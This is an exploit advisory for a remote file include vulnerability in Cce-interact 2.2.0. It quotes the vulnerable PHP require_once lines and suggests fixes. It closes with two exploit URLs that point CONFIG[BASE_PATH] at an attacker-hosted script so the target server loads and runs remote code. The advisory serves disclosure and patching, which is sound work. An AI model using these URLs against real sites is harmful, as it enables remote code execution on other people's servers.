/* +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - - - [Romanian Electronic Network Security Lab Team ThE Best Romanian Hacking Team] - - + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - Cce-interact <= 2.2.0 (CONFIG[BASE_PATH]) Remote File Include Vulnerability + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - [Script name: Interact - Online Learning and Collaboration System v. 2.2.0 - [Script site: https://sourceforge.net/projects/cce-interact/ + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - Find by: CarcaBot + - Contact: CarcaBotx (at) yahoo (dot) com [email concealed] - or - http://Hacking.CarcaBot.ro + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - Special Greetz: CarcaBot - http://Hacking.CarcaBot.ro - + */ /* vulnerable code => admin/autoprompter.php line 33-38: .... require_once($CONFIG['BASE_PATH'].'/modules/forum/autoprompt/prompt.inc. php'); require_once($CONFIG['LANGUAGE_CPATH'].'/forum_strings.inc.php'); $rs = $CONN->Execute("SELECT {$CONFIG['DB_PREFIX']}posts.post_key, {$CONFIG['DB_PREFIX']}ModuleSpaceLinks.SpaceKey, {$CONFIG['DB_PREFIX']}ModuleSpaceLinks.GroupKey, {$CONFIG['DB_PREFIX']}ForumThreadManagement.NumberToPrompt, {$CONFIG['DB_PREFIX']}posts.subject, {$CONFIG['DB_PREFIX']}posts.body,{$CONFIG['DB_PREFIX']}posts.module_key, {$CONFIG['DB_PREFIX']}posts.thread_key,{$CONFIG['DB_PREFIX']}ForumThread Management.MinimumReplies,{$CONFIG['DB_PREFIX']}Spaces.Name, {$CONFIG['DB_PREFIX']}posts.added_by_key FROM {$CONFIG['DB_PREFIX']}posts,{$CONFIG['DB_PREFIX']}ModuleSpaceLinks,{$CON FIG['DB_PREFIX']}ForumThreadManagement,{$CONFIG['DB_PREFIX']}Spaces LEFT JOIN {$CONFIG['DB_PREFIX']}postsAutoPrompts ON {$CONFIG['DB_PREFIX']}ForumThreadManagement.Postkey={$CONFIG['DB_PREFIX' ]}postsAutoPrompts.post_key WHERE {$CONFIG['DB_PREFIX']}ForumThreadManagement.PostKey={$CONFIG['DB_PREFIX' ]}posts.post_key AND {$CONFIG['DB_PREFIX']}posts.module_key={$CONFIG['DB_PREFIX']}ModuleSpace Links.ModuleKey AND {$CONFIG['DB_PREFIX']}ModuleSpaceLinks.SpaceKey={$CONFIG['DB_PREFIX']}Sp aces.SpaceKey AND {$CONFIG['DB_PREFIX']}posts.date_added<DATE_SUB(CURRENT_DATE,INTERVAL {$CONFIG['DB_PREFIX']}ForumThreadManagement.DaysToWait DAY) AND {$CONFIG['DB_PREFIX']}postsAutoPrompts.post_key IS NULL ORDER BY {$CONFIG['DB_PREFIX']}posts.post_key"); .... Fix Exploit: admin/autoprompter.php line 33-38: .... require_once('../local/config.inc.php'); require_once($CONFIG['BASE_PATH'].'/modules/forum/autoprompt/prompt.inc. php'); require_once($CONFIG['LANGUAGE_CPATH'].'/forum_strings.inc.php'); $rs = $CONN->Execute("SELECT {$CONFIG['DB_PREFIX']}posts.post_key, {$CONFIG['DB_PREFIX']}ModuleSpaceLinks.SpaceKey, {$CONFIG['DB_PREFIX']}ModuleSpaceLinks.GroupKey, {$CONFIG['DB_PREFIX']}ForumThreadManagement.NumberToPrompt, {$CONFIG['DB_PREFIX']}posts.subject, {$CONFIG['DB_PREFIX']}posts.body,{$CONFIG['DB_PREFIX']}posts.module_key, {$CONFIG['DB_PREFIX']}posts.thread_key,{$CONFIG['DB_PREFIX']}ForumThread Management.MinimumReplies,{$CONFIG['DB_PREFIX']}Spaces.Name, {$CONFIG['DB_PREFIX']}posts.added_by_key FROM {$CONFIG['DB_PREFIX']}posts,{$CONFIG['DB_PREFIX']}ModuleSpaceLinks,{$CON FIG['DB_PREFIX']}ForumThreadManagement,{$CONFIG['DB_PREFIX']}Spaces LEFT JOIN {$CONFIG['DB_PREFIX']}postsAutoPrompts ON {$CONFIG['DB_PREFIX']}ForumThreadManagement.Postkey={$CONFIG['DB_PREFIX' ]}postsAutoPrompts.post_key WHERE {$CONFIG['DB_PREFIX']}ForumThreadManagement.PostKey={$CONFIG['DB_PREFIX' ]}posts.post_key AND {$CONFIG['DB_PREFIX']}posts.module_key={$CONFIG['DB_PREFIX']}ModuleSpace Links.ModuleKey AND {$CONFIG['DB_PREFIX']}ModuleSpaceLinks.SpaceKey={$CONFIG['DB_PREFIX']}Sp aces.SpaceKey AND {$CONFIG['DB_PREFIX']}posts.date_added<DATE_SUB(CURRENT_DATE,INTERVAL {$CONFIG['DB_PREFIX']}ForumThreadManagement.DaysToWait DAY) AND {$CONFIG['DB_PREFIX']}postsAutoPrompts.post_key IS NULL ORDER BY {$CONFIG['DB_PREFIX']}posts.post_key"); .... vulnerable code => includes/common.inc.php line 35-40: .... $CONFIG['ADODB_PATH'] = $CONFIG['BASE_PATH'].'/includes/adodb'; //Include database abstraction classes require_once($CONFIG['ADODB_PATH'].'/adodb.inc.php'); require_once($CONFIG['ADODB_PATH'].'/session/adodb-session.php'); .... Exploit Fix: includes/common.inc.php line 35-40: .... require_once('../local/config.inc.php'); $CONFIG['ADODB_PATH'] = $CONFIG['BASE_PATH'].'/includes/adodb'; //Include database abstraction classes require_once($CONFIG['ADODB_PATH'].'/adodb.inc.php'); require_once($CONFIG['ADODB_PATH'].'/session/adodb-session.php'); */ #Exploit: http://www.site.com/[Cce-interact_path]/admin/autoprompter.php?CONFIG[BA SE_PATH]=[http://www.myevilsite.com/evil_scripts.txt] http://www.site.com/[Cce-interact_path]/includes/common.inc.php?CONFIG[B ASE_PATH]=[http://www.myevilsite.com/evil_scripts.txt] ### End of File ### ### http://Hacking.CarcaBot.ro ###